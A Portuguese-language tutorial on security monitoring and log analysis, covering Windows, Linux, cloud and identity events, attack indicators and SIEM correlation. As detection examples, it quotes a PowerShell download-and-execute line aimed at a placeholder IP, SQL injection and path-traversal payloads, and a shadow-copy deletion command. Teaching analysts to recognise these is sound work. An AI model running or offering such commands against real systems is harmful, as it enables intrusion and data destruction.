Monitoramento de segurança e análise de registros de eventos

Um evento é uma ocorrência observável, como uma entrada ou o início de um processo. Um registro de eventos registra ocorrências. Um alerta informa que eventos monitorados corresponderam à lógica de detecção. Um incidente ameaça ou ameaça de forma iminente informações ou sistemas, ou viola ou ameaça violar de forma iminente a lei, políticas de segurança, procedimentos ou políticas de uso aceitável. Um analista verifica as evidências antes de decidir como classificar um alerta.

Escolha uma fonte pela visão que ela oferece

Firewalls registram conexões permitidas e negadas. Proxies e gateways web seguros acrescentam URLs, agentes de usuário e tamanhos de transferência. Gateways VPN mostram sessões remotas; ferramentas IDS/IPS relatam tráfego correspondente a suas assinaturas. Registros de fluxo de rede, incluindo NetFlow e IPFIX, resumem conversações por endereços, portas, protocolo, horário, pacotes e bytes. Eles continuam úteis para tráfego criptografado porque descrevem suas características, mas não contêm o conteúdo transportado.

Registros de host revelam atividade por trás dessas conexões. Eventos Security do Windows incluem autenticação, alterações de contas e criação de processos quando a auditoria está habilitada. Registros System e Application mostram serviços e software. Sysmon e EDR acrescentam detalhes de processos, arquivos, registro e rede. O registro de blocos de script do PowerShell registra o conteúdo de scripts no evento 4104. Mensagens de autenticação do Linux costumam aparecer em /var/log/auth.log em sistemas da família Debian ou em /var/log/secure em sistemas da família Red Hat. O diário do systemd é lido com journalctl; auditd registra a atividade selecionada por suas regras de auditoria.

Registros de acesso e erros da web, auditorias de bancos de dados e aplicações de negócio e gateways de e-mail explicam requisições e uso de dados. Achados de antivírus, DLP, WAF e scanners de vulnerabilidades acrescentam outra visão. O achado de uma ferramenta de segurança ainda é um evento a interpretar junto com a atividade subjacente.

Acompanhe um endereço ao longo do tempo

Um proxy registra um download por 10.20.30.45 às 14:02 UTC. A concessão DHCP atribui esse endereço a LAPTOP-0193 das 13:30 às 21:30 daquele dia. Pesquise os eventos de processos desse laptop em torno do horário do download. O dispositivo que usa a concessão hoje pode ser outro; associar o endereço sem considerar o intervalo da concessão pode levar a investigação ao host errado.

Verifique a coleta antes de confiar nela

Verifique uma amostra real para encontrar os campos necessários à sua pergunta. O evento 4688 do Windows precisa da política de captura de linha de comando para incluir o texto do comando. O evento de rede 3 do Sysmon é desabilitado por padrão. Um SIEM recebe apenas os dados enviados a ele. Priorize detalhes úteis em ativos críticos e identidades privilegiadas e verifique também conexões permitidas: uma conexão permitida pode transportar um ataque.

A análise sintática e extração de campos extrai campos nomeados de uma entrada bruta. Uma pesquisa por um fragmento de texto pode encontrar uma linha; campos extraídos permitem contar falhas por usuário, comparar endereços e ordenar por horário do evento. Mantenha a entrada bruta para poder verificar a extração.

Leia primeiro a estrutura

O syslog RFC 5424 começa com prioridade, versão, marca temporal, host, aplicação, ID do processo, ID da mensagem, dados estruturados e texto da mensagem. Marcas temporais do RFC 3164 mais antigo, como Mar 14 10:15:02, omitem o ano e o fuso horário, que precisam ser identificados a partir do contexto da fonte.

A prioridade do syslog combina categoria de origem e severidade:

Para <38>, a divisão por 8 fornece categoria de origem 4 e resto 6, Informativo. Para <34>, a mesma categoria tem severidade 2, Crítico. Os números de severidade vão de 0 Emergência a 1 Alerta, 2 Crítico, 3 Erro, 4 Aviso, 5 Notificação, 6 Informativo e 7 Depuração. Um número menor indica maior severidade. Essa é a avaliação da aplicação emissora: uma falha SSH Informativa ainda pode fazer parte de um ataque.

Arquivos EVTX do Windows podem ser visualizados como XML ou texto formatado. A seção System identifica o provedor, o ID do evento, o horário de criação em UTC, o computador e o canal. EventData contém campos específicos do evento. Para 4625, examine TargetUserName, LogonType, Status, SubStatus, IpAddress, WorkstationName e ProcessName. O tipo 10 significa RemoteInteractive; o tipo 2 significa um logon local interativo. O mesmo ID de evento pode descrever caminhos de acesso bem diferentes.

Extraia campos pelo significado

Analisadores de JSON procuram chaves, incluindo caminhos aninhados como responseElements.ConsoleLogin. Eles precisam lidar com campos ausentes e nulos e com mudanças na ordem das chaves. Registros chave-valor identificam valores diretamente, como em src=203.0.113.45 dport=3389 action=deny. O CEF acrescenta um cabeçalho separado por barras verticais com fornecedor, produto, assinatura, nome e severidade antes das extensões chave-valor; use um analisador que entenda as sequências de escape do formato.

Em um registro combinado de acesso web, leia endereço do cliente, identidade, usuário autenticado, horário e diferença de fuso, requisição, status, bytes da resposta, referenciador e agente de usuário. Um traço significa que um valor está ausente. Agentes de usuário são fornecidos pelos clientes, portanto o nome de um scanner é uma evidência útil, mas o nome de um navegador comum pode ser imitado.

Extraia duas formas de mensagem SSH

Esta expressão regular trata tanto um nome de usuário normal quanto a expressão “usuário inválido”:

Failed password for (?:invalid user )?(\S+) from (\d{1,3}(?:\.\d{1,3}){3}) port (\d+)

Em Failed password for invalid user admin from 203.0.113.45 port 52114, os valores capturados são admin, 203.0.113.45 e 52114. O grupo opcional sem captura consome “invalid user ” sem torná-lo o nome de usuário. \S+ captura texto sem espaços; \d+ captura dígitos.

O padrão extrai um valor com formato de endereço; ele também aceita octetos como 999, portanto a validação do endereço é uma etapa separada. Evite .* guloso onde possa consumir um separador de campos. Reúna registros de várias linhas antes da análise e monitore falhas de análise após atualizações de software: uma estrutura alterada pode deixar silenciosamente vazios os campos de detecção.

A coleta deve continuar funcionando durante interrupções comuns e interferências deliberadas. Uma regra precisa tem pouco valor quando sua fonte para de enviar dados ou suas marcas temporais colocam eventos na ordem errada.

Escolha e monitore o caminho

Um agente lê registros locais e pode armazená-los temporariamente, filtrá-los, criptografá-los e encaminhá-los. Caminhos sem agente incluem syslog, Windows Event Forwarding, consultas periódicas a APIs de nuvem e exportações para armazenamento ou fluxos. Cada caminho precisa de monitoramento do estado operacional. Syslog sobre UDP na porta 514 não é criptografado e não confirma a entrega. TCP acrescenta entrega confiável; syslog sobre TLS na porta 6514 acrescenta criptografia e autenticação do servidor. Use transporte confiável e criptografado em redes não confiáveis e armazene eventos temporariamente durante interrupções do coletor.

Sincronize os relógios das fontes com um serviço de tempo confiável, geralmente NTP na porta UDP 123. Armazene em UTC e mantenha a diferença de fuso original. O horário do firewall 2026-03-14 10:15:00 +02:00 equivale a 2026-03-14T08:15:00Z. Um relógio de host sete minutos adiantado coloca seus eventos tarde demais e pode inverter uma linha do tempo. Um grande desvio também impede a autenticação sensível ao tempo; o Kerberos do Windows permite cinco minutos por padrão.

O horário do evento registra quando a atividade aconteceu. O horário de ingestão registra quando a plataforma a recebeu. Eventos armazenados temporariamente e eventos da nuvem podem chegar atrasados. Correlacione pelo horário do evento e dê às pesquisas agendadas atraso ou período de consulta anterior suficientes para incluir chegadas tardias.

Proteja e retenha o registro

Encaminhe rapidamente os registros para fora dos hosts, limite privilégios de leitura e exclusão e separe o controle dos registros da administração rotineira. Armazenamento imutável e resumos criptográficos ajudam a detectar ou impedir alterações. A validação de integridade do CloudTrail usa arquivos de resumo SHA-256. Monitore 1102 do Windows para limpeza do registro de auditoria e 4719 para alterações da política de auditoria, além de ações na nuvem como StopLogging e DeleteTrail. Restrinja o acesso porque registros podem conter dados pessoais e sensíveis.

O prazo de retenção segue as necessidades de investigação e as obrigações legais, contratuais ou regulatórias aplicáveis. Por exemplo, o requisito 10.5.1 do PCI DSS v4.0 exige pelo menos 12 meses de histórico de auditoria e os três meses mais recentes imediatamente disponíveis. O armazenamento recente e pesquisável costuma ser chamado de armazenamento quente; arquivos custam menos, mas levam mais tempo para pesquisar ou restaurar. As configurações padrão podem ser curtas demais: registros de auditoria e entrada do Entra são mantidos por 7 dias no Free ou 30 dias no P1/P2, enquanto o histórico de eventos do CloudTrail oferece 90 dias de eventos de gerenciamento. A exportação permite retenção mais longa.

Estime o volume e observe o silêncio

Para 2.000 endpoints que produzem 5.000 eventos por dia a 500 bytes cada, o volume bruto diário é de 5.000.000.000 bytes, ou 5 GB. Noventa dias exigem 450 GB; um ano exige 1,825 TB antes da compressão, da indexação e de outros custos adicionais de armazenamento.

Acompanhe o volume esperado e os sinais periódicos de atividade das fontes críticas, erros de coletores, acúmulos em filas e falhas de análise. “Nenhum evento de DC01 por 30 minutos” é um alerta de estado operacional mesmo quando nenhum alerta de ataque dispara. Um padrão de registro deve especificar categorias de auditoria, captura de linha de comando, registro de scripts e detalhes adequados para cada tipo de sistema. A coleta apenas de erros deixa passar atividade de segurança; a coleta rotineira no nível de depuração pode sobrecarregar o armazenamento.

Um evento do Windows, uma mensagem do Linux e um registro da nuvem podem descrever o mesmo tipo de ação com nomes diferentes. A normalização dá a esses campos nomes, tipos e convenções de valores comuns. O enriquecimento acrescenta informações sobre as pessoas, os sistemas e os destinos envolvidos.

Normalize significados, não apenas nomes

Para falhas de entrada de jdoe a partir de 203.0.113.45, as três fontes podem se tornar event.category=authentication, event.outcome=failure, user.name=jdoe e source.ip=203.0.113.45. Uma regra de autenticação agrupada por origem pode então pesquisar as três.

Esquemas comuns incluem ECS, OCSF, CIM e ASIM. Os nomes de campos do exemplo seguem o estilo ECS. Um esquema também define tipos de dados e valores permitidos. Armazene endereços como valores do tipo endereço para que pesquisas por sub-rede funcionem. Converta horários para UTC em ISO 8601. Mapeie diferentes representações de sucesso ou falha para um resultado comum, usando o significado real da ação na origem. O resultado “permitido” de um firewall descreve uma decisão sobre uma conexão, não uma autenticação de usuário bem-sucedida.

Associe identidades como EXAMPLE\jdoe, jdoe@example.com e JDOE à mesma conta quando realmente a representarem. Normalizar maiúsculas e minúsculas é adequado quando a fonte trata ambas como equivalentes. Preserve as distinções quando essa diferença importa e evite unir duas pessoas apenas porque seus nomes de usuário curtos coincidem.

Acrescente contexto que muda a pergunta

O enriquecimento útil inclui responsável pelo ativo, sistema operacional, função no negócio, criticidade e exposição à internet; departamento do usuário, privilégio, condição de conta de serviço e situação de emprego; histórico DHCP; e proprietário da rede, localização aproximada e reputação de endereços públicos.

Um alerta informa falhas repetidas para svc-backup de 10.20.30.45. O contexto do ativo identifica um laptop de marketing. O contexto de identidade informa que essa conta de serviço normalmente entra apenas pelo servidor de backup 10.0.8.12. A relação inesperada merece atenção mesmo antes de a contagem de falhas se tornar grande.

Saiba quando o contexto foi anexado. O enriquecimento na ingestão preserva o contexto disponível quando o evento chegou. O enriquecimento no momento da pesquisa geralmente mostra o estado atual. O responsável atual por um ativo ou a atribuição atual de um endereço pode descrever incorretamente eventos antigos, portanto use registros históricos quando a pergunta tratar de responsabilidade no passado.

Verifique mapeamentos e reduções

A geolocalização pode ser distorcida por VPNs, operadoras móveis, proxies e hospedagem em nuvem. A reputação muda conforme a infraestrutura muda de proprietário. Use ambas como evidências de apoio e verifique a idade dessas informações. Valide mapeamentos de campos com amostras brutas: mapear um destino para source.ip pode fazer uma regra atribuir a atividade ao sistema errado.

A deduplicação remove entregas repetidas de um evento. A agregação combina vários eventos, talvez armazenando uma contagem para 1.000 negações. A agregação economiza espaço, mas descarta detalhes individuais. Mantenha os campos e eventos brutos necessários às detecções e investigações; filtrá-los na origem cria uma lacuna que nenhuma correlação posterior pode reparar.

Um indicador de comprometimento é um artefato observável que sugere comprometimento. Um indicador atômico é um único endereço, domínio, URL ou hash. Um indicador comportamental é um padrão, como uma estação de trabalho que contata muitas outras na porta 445. Valores atômicos são rápidos de identificar e fáceis de substituir; o comportamento descreve o que a identidade executora faz.

Leia as características das conexões

Uma varredura vertical testa muitas portas em um host. Uma varredura horizontal testa uma porta em muitos hosts. Muitas conexões negadas ou reiniciadas com contagens muito pequenas de bytes são compatíveis com uma varredura, mas scanners de vulnerabilidades autorizados fazem o mesmo trabalho. Compare origem, escopo e horário. Sondagens de fundo da internet contra um perímetro têm contexto diferente de uma varredura feita por uma estação interna.

Relações inesperadas importam tanto quanto portas. Estações de trabalho que de repente se contatam por SMB 445, RDP 3389 ou WinRM 5985/5986 podem indicar movimentação lateral. Servidores de gerenciamento e hosts intermediários podem fazer isso legitimamente. Um servidor de banco de dados que inicia SSH, uma estação exposta à internet que aceita RDP ou tráfego cujo protocolo não combina com a porta merece uma análise mais detalhada. Um número de porta sugere um serviço; não determina o protocolo real.

Novos endereços MAC em registros de DHCP, switches, NAC ou controladores sem fio podem revelar dispositivos não autorizados. Compare com o inventário e os registros de integração: uma nova impressora e um dispositivo desconhecido em um segmento de servidores criam riscos diferentes.

Examine repetição e nomes

A comunicação recorrente de comando e controle é o contato repetido com o servidor de comando e controle. Os horários 0, 60, 121, 180, 241, 299, 360, 421, 480 e 540 segundos resultam em intervalos com média de 60 segundos e dispersão de cerca de 1,1 segundo. Requisições pequenas, um agente de usuário repetido e continuidade durante a noite reforçam o padrão. Verifique o processo que inicia as conexões e o destino, pois atualizadores e sistemas de telemetria também contatam servidores. Atacantes podem acrescentar atraso aleatório, ou variação dos intervalos de comunicação.

O DNS oferece outra visão. Um algoritmo de geração de domínios pode produzir muitos nomes de aparência aleatória e muitas respostas NXDOMAIN. O tunelamento DNS pode produzir rótulos longos, numerosos subdomínios únicos sob um domínio e volume incomum de consultas TXT. Um rótulo DNS é limitado a 63 caracteres. A entropia de Shannon mede a aleatoriedade dos caracteres: example tem cerca de 2,52 bits por caractere, enquanto x9f3kq7z2b8wp1md tem 4,0. Entropia alta também aparece em nomes legítimos da nuvem; combine-a com volume de consultas, histórico do destino e idade do domínio.

Acompanhe volume e direção

Possíveis sinais de exfiltração incluem transferências de saída excepcionalmente grandes para novos destinos, horários incomuns ou uma alta proporção entre envio e recebimento. Um servidor que envia 2,3 GB enquanto recebe 40 MB tem uma proporção de 57,5 para 1, usando unidades decimais. Verifique backups e tarefas de sincronização conhecidos antes de decidir por que isso aconteceu. HTTPS esconde o conteúdo transportado, mas ainda expõe metadados úteis de volume e horário.

O NAT pode colocar muitos dispositivos atrás de um endereço público. Identifique a origem interna usando registros de NAT, proxy ou firewall interno no horário relevante. O país de um destino, sozinho, oferece contexto insuficiente para decidir se uma conexão é maliciosa.

A telemetria de host conecta a atividade de rede ao programa e ao usuário responsáveis. A criação de processos é especialmente útil: 4688 do Windows com captura de linha de comando ou 1 do Sysmon mostra o novo processo, a linha de comando, o processo pai e o usuário. O Sysmon também fornece hashes e identificadores de processos úteis para conectar eventos.

Leia o processo pai e os argumentos

Ferramentas legítimas e assinadas podem ser usadas indevidamente como binários legítimos do sistema usados em ataques. certutil.exe pode baixar arquivos, mshta.exe pode executar conteúdo de script remoto e rundll32.exe pode carregar uma DLL de uma pasta em que se pode gravar. vssadmin delete shadows /all /quiet remove cópias de sombra e pode preceder um ransomware. Avalie em conjunto os argumentos, o processo pai, o usuário, o caminho, o signatário e as ações ao redor. Um nome de arquivo familiar, sozinho, diz pouco sobre a intenção.

O -EncodedCommand do PowerShell contém texto UTF-16LE codificado em Base64. A decodificação do comando do exemplo resulta em iwr http://198.51.100.23/a.ps1|iex: baixar um script e executá-lo na memória. Codificação e janelas ocultas também ocorrem na administração. Leia o conteúdo decodificado e, quando disponível, o evento 4104 de bloco de script.

Procure uma forma de voltar

A persistência permite acesso após reinicialização ou saída da sessão. Observe novos serviços (7045 em System ou 4697 em Security), tarefas agendadas (4698), valores Run do registro (Sysmon 13), arquivos de inicialização (Sysmon 11) e novas contas locais (4720). No Linux, revise entradas do cron, unidades do systemd e novas chaves em ~/.ssh/authorized_keys. Uma tarefa que aponta para C:\Users\Public\upd.exe precisa de uma explicação diferente daquela para uma implantação de software documentada.

Limpeza de registros (1102), alterações da política de auditoria (4719), um serviço do Sysmon interrompido (Sysmon 4) ou a remoção de um agente de EDR podem indicar adulteração do monitoramento. Verifique prontamente os registros de manutenção. Outras pistas incluem ferramentas de acesso remoto não aprovadas, acesso incomum à memória de lsass.exe (Sysmon 10) e alterações rápidas de arquivos com mensagens de exigência de resgate. Uso alto de CPU ou GPU pode ser compatível com mineração de criptomoedas, mas compare a carga de trabalho e as tarefas agendadas; um pico breve é uma evidência fraca.

Construa a cadeia de execução

Às 09:12:04 UTC, o Outlook inicia o Word com Invoice_8841.docm. Às 09:12:31, o Word inicia PowerShell codificado. Às 09:12:33, esse processo do PowerShell conecta-se a 198.51.100.23:80; às 09:12:40, upd.exe é gravado; às 09:13:02, uma tarefa agendada o inicia no logon. Conecte os registros de processos e arquivos, não apenas marcas temporais próximas. A cadeia mostra entrega, execução, download e persistência e fundamenta o escalonamento. A telemetria de host ausente deve permanecer como uma lacuna visível no registro.

Registros web e de aplicações revelam atividade oculta dentro de conexões HTTPS comuns. Registros de acesso descrevem requisições, códigos de resposta, tamanhos e informações declaradas pelo cliente. Auditorias de aplicações e bancos de dados acrescentam quem acessou dados, alterou permissões, executou consultas ou exportou registros.

Decodifique a requisição

A codificação de URL representa bytes com % seguido de dois dígitos hexadecimais. O fragmento id=1%27%20OR%201%3D1--%20 torna-se id=1' OR 1=1-- , sugerindo injeção de SQL. O caminho ..%2F..%2F..%2Fetc%2Fpasswd torna-se ../../../etc/passwd, sugerindo travessia de diretórios. Outras pistas incluem UNION SELECT, tags de script ou separadores de shell seguidos de comandos.

Decodifique as camadas em ordem. %252e%252e%252f torna-se %2e%2e%2f e depois ../. Mantenha a requisição bruta e a interpretação decodificada; substituir o original faz perder a evidência de como a entrada foi enviada.

Leia a sequência em torno da resposta

Os códigos descrevem o tratamento HTTP, não todo o resultado de segurança. Algumas aplicações usam 200 para páginas de erro, e um WAF pode retornar uma página de bloqueio com 200. Um agente de usuário de scanner é controlado pelo cliente. Nem um agente de usuário familiar nem uma requisição bloqueada resolve a investigação.

Na sequência do exemplo, um cliente faz 412 requisições em três minutos, com 398 retornando 404. Uma tentativa de injeção retorna então 500; uma requisição posterior com UNION SELECT retorna 200 com 48.210 bytes contra os 2.100 habituais. O aumento de cerca de 23 vezes no tamanho após as tentativas sustenta a possibilidade de exposição de dados. Verifique consultas ao banco de dados e eventos de auditoria da aplicação para estabelecer o que realmente foi retornado.

Conecte evidências da aplicação e do host

Um shell web é um script que permite a um atacante executar comandos por requisições web. Um novo script em uma pasta de uploads, requisições POST repetidas de poucos clientes e parâmetros como cmd= justificam investigação. Um processo correspondente do servidor web iniciando cmd.exe ou /bin/sh acrescenta evidência direta de execução no host.

Observe também identidades de aplicações: sucessos após falhas, origens inesperadas de chaves de API, sequências intensas que atingem limites de requisições e um usuário comum exportando milhares de registros podem revelar uso abusivo de contas. Esses padrões exigem campos de auditoria úteis, não apenas registros de erros. Se requisições e erros aumentarem abruptamente após uma implantação, examine a implantação e as origens dos clientes junto com as hipóteses de ataque; uma versão defeituosa ou um aumento real de tráfego também podem causar interrupção.

Provedores de nuvem protegem sua infraestrutura; clientes devem habilitar, coletar e revisar dados de monitoramento de suas contas, identidades e recursos. Cliques no console, scripts, ferramentas de linha de comando e modelos de infraestrutura geralmente gerenciam recursos por APIs. A trilha de auditoria dessas ações responde quem criou, alterou ou excluiu um recurso. A atividade dentro de uma máquina virtual ou aplicação ainda precisa de registros da carga de trabalho.

Escolha a camada certa da nuvem

O histórico de eventos do CloudTrail fornece 90 dias de eventos de gerenciamento registrados por região. Histórico mais longo e cobertura mais ampla exigem configuração deliberada, e eventos de dados são desativados por padrão. Registros Google Admin Activity são sempre gravados e não podem ser desabilitados; registros Data Access são desativados por padrão, exceto para BigQuery. Habilite a coleta útil de acesso a dados em recursos sensíveis e considere o volume gerado.

Leia uma ação na nuvem campo por campo

No CloudTrail, eventTime está em UTC; eventSource identifica o serviço; eventName identifica a ação de API. userIdentity identifica quem fez a chamada, enquanto requestParameters identifica o alvo e as configurações solicitados. Leia também sourceIPAddress, userAgent, awsRegion, responseElements e qualquer errorCode ou errorMessage.

Para uma entrada no console, examine ConsoleLogin de signin.amazonaws.com, o sucesso ou a falha em responseElements.ConsoleLogin e additionalEventData.MFAUsed. Para uma nova chave, diferencie quem fez a chamada do usuário nomeado em requestParameters.userName. Podem ser identidades diferentes.

Reconheça indicadores de nuvem relacionados

Uma chave roubada pode primeiro chamar GetCallerIdentity e depois enumerar recursos com List, Describe e Get. Resultados AccessDenied repetidos revelam sondagem de permissões mesmo quando os controles de acesso impedem as ações. Novas credenciais, assunções inesperadas de funções, uso de root ou alterações que expõem as portas 22/3389 a 0.0.0.0/0 justificam verificações de contexto. Muitas instâncias grandes com GPU em uma região não usada podem indicar sequestro de recursos.

Na sequência do exemplo, ci-deploy passa do endereço habitual do servidor de compilação e do agente de usuário de SDK para um novo endereço e CLI. Ele enumera recursos, cria uma chave para admin-backup e depois chama StopLogging. Juntas, essas ações sugerem uso indevido de credenciais, manutenção do acesso e tentativa de cegar o monitoramento. Escalone e verifique fontes independentes em busca de atividade posterior.

Colete dados de todas as regiões e contas relevantes. Recursos de curta duração podem desaparecer antes da triagem; use IDs e etiquetas estáveis de recursos e envie registros de host a um local central. Um endereço de nuvem compartilhado, sozinho, não identifica um cliente nem estabelece que a atividade pertence à automação habitual da organização.

Um provedor de identidade autentica usuários para muitas aplicações. Seu registro de entradas pode mostrar usuário, aplicativo, endereço, dispositivo, cliente, método, resultado da autenticação multifator, resultado da política e motivo da falha. O Entra separa entradas interativas, não interativas, de entidades de serviço e de identidades gerenciadas. Uma pesquisa limitada a usuários interativos deixa passar atividades de aplicações e tokens.

Interprete a autenticação do Windows

Controladores de domínio registram atividade de tíquetes Kerberos (4768, 4769, 4771) e validação de credenciais NTLM (4776). O computador acessado registra 4624 para sucesso e 4625 para falha. O evento 4740 registra o bloqueio de uma conta.

Em 4625, examine tanto Status quanto SubStatus. 0xC000006A indica uma senha incorreta, 0xC0000064 um nome de usuário desconhecido, 0xC0000072 uma conta desabilitada, 0xC0000234 uma conta bloqueada e 0xC000006F um logon fora do horário permitido. Esses motivos distinguem um problema de senha de um problema de política ou de estado da conta.

Agrupe eventos para revelar o ataque

Um ataque de força bruta faz muitas tentativas contra uma conta. A pulverização de senhas testa uma ou algumas senhas prováveis em muitas contas, muitas vezes ficando abaixo dos limites de bloqueio por conta. O preenchimento de credenciais reutiliza pares vazados de nome de usuário e senha. Conte tentativas por conta e contas distintas por origem e depois procure sucessos. Atacantes podem distribuir tentativas por endereços, portanto nenhum dos agrupamentos, sozinho, oferece cobertura completa.

Na pulverização do exemplo, um endereço tenta 46 nomes de usuário uma vez cada: 41 resultados de senha incorreta e cinco de usuário desconhecido. Um sucesso posterior de logon de rede para m.tanaka a partir dessa origem aumenta a prioridade. Isso sugere fortemente credenciais válidas após a pulverização, mas verifique o pacote de autenticação e a atividade posterior: o tipo 3 também pode usar hashes ou tíquetes roubados.

Verifique como a sessão foi estabelecida

A viagem impossível compara a distância com o tempo decorrido. Madri e Seul estão a cerca de 10.000 km de distância; 45 minutos exigiriam aproximadamente 13.300 km/h. Verifique saídas de VPN, desktops hospedados, geolocalização de operadoras móveis, dispositivos e resultados das sessões antes de decidir a causa.

Solicitações push de autenticação multifator repetidamente negadas, seguidas de aprovação, podem indicar fadiga de autenticação multifator. Uma sessão incomum com autenticação multifator satisfeita por um token existente pode refletir a reutilização de um token. Caminhos de autenticação legada sem autenticação multifator e um novo método de autenticação multifator registrado após uma entrada arriscada também merecem atenção. Uma etapa de autenticação multifator concluída, sozinha, não explica esses caminhos.

Uma conta de serviço entrando interativamente, o sucesso da conta de um ex-funcionário ou um novo dispositivo e uma nova localização juntos podem indicar acesso obtido com credenciais roubadas. Falhas repetidas e rítmicas de um dispositivo interno frequentemente são compatíveis com uma senha antiga salva. Acompanhe as falhas até os sucessos e as ações e verifique identidades de usuários e de cargas de trabalho.

Um atacante que obtém acesso pode criar outra credencial ou acrescentar privilégios para continuar operando. Alterações em contas e funções sensíveis muitas vezes são raras o suficiente para uma revisão detalhada, especialmente quando ocorrem após uma entrada incomum.

Identifique a identidade executora, o alvo e a alteração

Leia cinco informações: quem agiu, qual conta ou recurso foi alterado, o que mudou, quando e de onde. Em um evento de alteração de conta, o sujeito é a identidade executora e o alvo é a conta afetada. Depois compare a ação com uma solicitação aprovada e com o que a identidade executora normalmente gerencia.

Eventos do Windows incluem 4720 para criação de conta, 4722 para habilitação, 4724 para tentativa de redefinição de senha e 4738 para alterações de conta. Adições de membros aparecem como 4728, 4732 e 4756 para grupos globais, locais e universais habilitados para segurança. Revise grupos sensíveis como Domain Admins, Enterprise Admins, Schema Admins e Administrators local. Associações aninhadas importam: uma alteração em um grupo dentro de um grupo privilegiado também pode conceder privilégios efetivos.

O evento 4672 atribui privilégios especiais em um novo logon. Ele ocorre durante o trabalho rotineiro de administradores e contas do sistema. Pergunte se essa conta deveria ter os privilégios e se a origem do logon é esperada; tratar todo 4672 como motivo de escalonamento criaria ruído.

Leve as mesmas perguntas à nuvem

Na AWS, examine CreateUser, CreateAccessKey, ações de anexação de políticas ou de políticas em linha e UpdateAssumeRolePolicy. Uma alteração na política de confiança pode permitir que outra conta assuma uma função. Leia a alteração real de permissão ou confiança, não apenas o nome da ação.

Eventos de auditoria do Entra podem mostrar adições a funções, novas credenciais de entidades de serviço, consentimento de aplicações, registro de autenticação multifator e alterações de acesso condicional. Um segredo ou certificado acrescentado a uma identidade de aplicação poderosa pode preservar o acesso sem uma solicitação humana de autenticação multifator. O consentimento OAuth pode dar a uma aplicação acesso contínuo a e-mails ou arquivos mesmo após a alteração da senha de um usuário; revise a própria concessão de consentimento.

Relacione os eventos em torno de uma alteração de privilégio

Às 23:40 UTC, a conta de suporte hd-ops3 adiciona svc-backup a Domain Admins sem um chamado. Às 23:31, a identidade executora havia entrado por uma origem VPN inesperada; às 23:44, o alvo usa RDP para acessar DC02. A identidade executora incomum, a autorização ausente, o acesso arriscado anterior e o uso imediato do novo direito fundamentam o escalonamento.

Doze contas criadas pelo serviço de gestão de identidades às 07:00 e correspondentes à lista de integração contam uma história diferente. A autorização é uma evidência a verificar, não uma suposição baseada no nome de um administrador.

Concentre o monitoramento em associações privilegiadas, funções poderosas, contas de serviço, credenciais, consentimentos e alterações fora dos canais normais. Monitorar apenas a criação de contas deixa passar um atacante que modifica uma conta ou aplicação existente. Mantenha os identificadores dos eventos, os valores anteriores e posteriores e a referência de autorização no registro de triagem para que a decisão possa ser revisada.

Uma linha de base descreve o comportamento normal de uma entidade durante um período de referência. Uma anomalia é um afastamento significativo dessa linha de base. Uma atividade incomum precisa de explicação: pode ser um ataque, uma mudança no negócio ou um problema nos dados.

Compare os elementos certos

Uma linha de base útil pode descrever volume, horários, relações ou configuração. Exemplos incluem bytes por dia, horários habituais de trabalho, destinos normais, software aprovado e portas abertas. Uma linha de base de grupo de pares compara pessoas ou sistemas que fazem trabalhos semelhantes, o que ajuda quando uma entidade tem pouco histórico.

Escolha primeiro a entidade e a métrica. Use várias semanas para captar ciclos semanais e inclua picos de fim de mês ou de trimestre quando forem relevantes. Remova incidentes e interrupções conhecidos dos dados de treinamento. Compare segunda-feira às 09:00 com períodos semelhantes de outras segundas-feiras, não com um domingo tranquilo. Novos softwares, mudanças organizacionais e atividade sazonal exigem revisão; caso contrário, mudanças comuns se tornam uma sequência de anomalias.

Calcule e interprete o desvio

A média mede o nível médio, e o desvio padrão mede a dispersão. Um escore z expressa a distância da média em unidades de desvio padrão:

Para FS01, os totais de saída de dez dias úteis têm média de 4,1 GB e desvio padrão amostral de cerca de 0,26 GB. Um limiar de três desvios padrão é cerca de 4,87 GB usando a dispersão sem arredondamento. Os 9,6 GB de hoje têm escore z em torno de 21. As próximas pesquisas devem estabelecer destino, processo ou conta e trabalho programado; a estatística, sozinha, não pode fornecer uma causa.

A média mais três desvios padrão é uma abordagem inicial para dados com distribuição aproximadamente em forma de sino. Volumes de segurança frequentemente são assimétricos, com muitas observações pequenas e algumas muito grandes. Medianas e percentis podem fornecer comparações mais úteis. Um limiar acima do percentil 99 histórico identifica uma observação excepcionalmente grande sem presumir uma distribuição em forma de sino. Ele ainda depende de um período de referência representativo.

Combine sinais fracos por entidade

A análise do comportamento de usuários e entidades, ou UEBA, constrói perfis comportamentais, muitas vezes usando aprendizado de máquina e grupos de pares. A geração de alertas baseada em risco soma pontuações da mesma entidade durante um período. Uma entrada de um novo país que vale 40 pontos, o primeiro uso de uma ferramenta administrativa que vale 30 e um download grande que vale 45 somam 115 em 24 horas. Com um limiar de 100, o alerta combinado apresenta um quadro mais convincente que três alertas fracos separados.

A identidade e a janela de tempo são essenciais. Somar pontuações de usuários não relacionados criaria um resultado diferente e enganoso. Pontuações classificam evidências; não são probabilidades, a menos que o sistema as defina explicitamente dessa forma.

Uma linha de base contaminada pode aprender o comportamento de um atacante como normal. Atividade lenta e discreta também pode permanecer abaixo de um limiar de volume, como 200 MB adicionados à transferência diária habitual de 4 GB de um servidor. Combine lógica de anomalias com regras de comportamentos conhecidos e verificações do estado operacional das fontes de dados, e reavalie os limiares quando a atividade normal mudar.

Um sistema de gerenciamento de informações e eventos de segurança (SIEM) coleta eventos, extrai campos, normaliza, armazena e pesquisa eventos e depois aplica regras ou análises para gerar alertas. A correlação conecta eventos que compartilham uma identidade, host, endereço, sessão ou outro atributo em um intervalo de tempo. Ferramentas SOAR podem automatizar o trabalho sobre os alertas resultantes.

Escreva as partes da regra

Toda regra precisa de filtro, chave de agrupamento, janela, agregação, condição e saída de alerta. Defina cada parte antes de escolher a sintaxe do produto.

A chave de agrupamento determina o que a regra pode detectar. Contagens por conta revelam tentativas concentradas de adivinhação. Usuários distintos por origem revelam pulverização de uma única origem. Origens distintas por conta revelam ataques distribuídos contra essa conta. A pulverização distribuída entre diferentes contas e endereços pode permanecer abaixo de todos esses limiares; examine aplicações alvo comuns, horários, características dos clientes ou mudanças na taxa total de falhas.

Analise uma sequência

Primeiro selecione falhas de autenticação agrupadas por user.name e source.ip, com pelo menos 10 falhas em 5 minutos. Depois exija um sucesso para o mesmo usuário e a mesma origem nos 10 minutos seguintes. Doze falhas de jdoe a partir de 198.51.100.20 entre 10:03:10 e 10:06:40, seguidas de sucesso às 10:07:05, satisfazem as duas etapas. Um sucesso para outro usuário não deve completar a sequência.

